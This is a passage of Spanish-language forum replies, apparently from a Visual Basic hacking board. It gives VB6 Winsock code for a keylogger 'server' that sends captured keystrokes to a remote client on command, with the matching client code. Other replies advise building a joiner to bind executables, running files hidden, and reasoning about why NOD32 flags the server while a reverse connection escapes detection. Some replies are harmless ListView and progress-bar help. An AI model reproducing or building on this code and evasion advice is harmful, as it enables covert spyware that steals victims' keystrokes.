Mensajes

Haciendote tu propio joiner, q no es muy dificil 

Server.exe (DataArrival)

Código [Seleccionar] Expandir

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos as string
Dim keys as string
Winsock1.GetData datos
If datos = "keylog" Then
Open "c:\archivo.txt" For binary As #1
put #1, Text4.Text
Close #1
keys = Text4.Text
Winsock1.SendData "Keylog" & keys
End If
End Sub

Cliente:

Código [Seleccionar] Expandir

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim Datos as string
If left(Datos,6) = "Keylog" Then
Text1.Text = Mid(Datos,7)
End If
End Sub

He cambiado un par de cosas. Si te sigue dando error dime la linea y lo miro

1S4ludo

Mirate esto y [img=http://www.recursosvisualbasic.com.ar/htm/tutoriales/control-listview.htm]http://esto[/img] para una info mas completa.

1S4ludo

Puedes poner una progres bar y un label con fondo transparente encima para el texto.

Sancho.Mazorka hay q añadir un get para q coja el contenido del archivo

Código [Seleccionar] Expandir

Open "C:\Archivo.txt" for Input As #1
    Variable = Input(LOF(1), #1)
    get #1,, Variable
Close #1

1S4ludo

Y si kieres ejecutarlos ocultos o con alguna opcion mas mejor usa la api shell execute

Pues con el control Tab Scrip o algo asi, el q viene con el list view, list images, etc...

Mira un manual:

http://www.recursosvisualbasic.com.ar/htm/tutoriales/control-listview.htm

Aunke eso de los coleres no viene, pero weno, para q te hagas a la idea de como se usa

1S4ludo

pues si al menos nod 32 detecta q hay un codigo malicioso

Pues sera por otra cosa... piensa q la conexion innversa, si analizamos solo el server, es una onexion normal y corriente, no puede detectar eso como malicioso.
Te detectara otra funcion q hayas puesto

1S4ludo

Pues a mi se me ocurre una solucion un poco bestia. Haciendo api hooking para interceptar los msgbox, pero me parece q el VB no se puede hacer no?

Yo creo q si que se podria... cojes los datos por ej 15 < 2 y haces un split por el espacio, y luego ya comparas el simbolo
Lo entiendes no?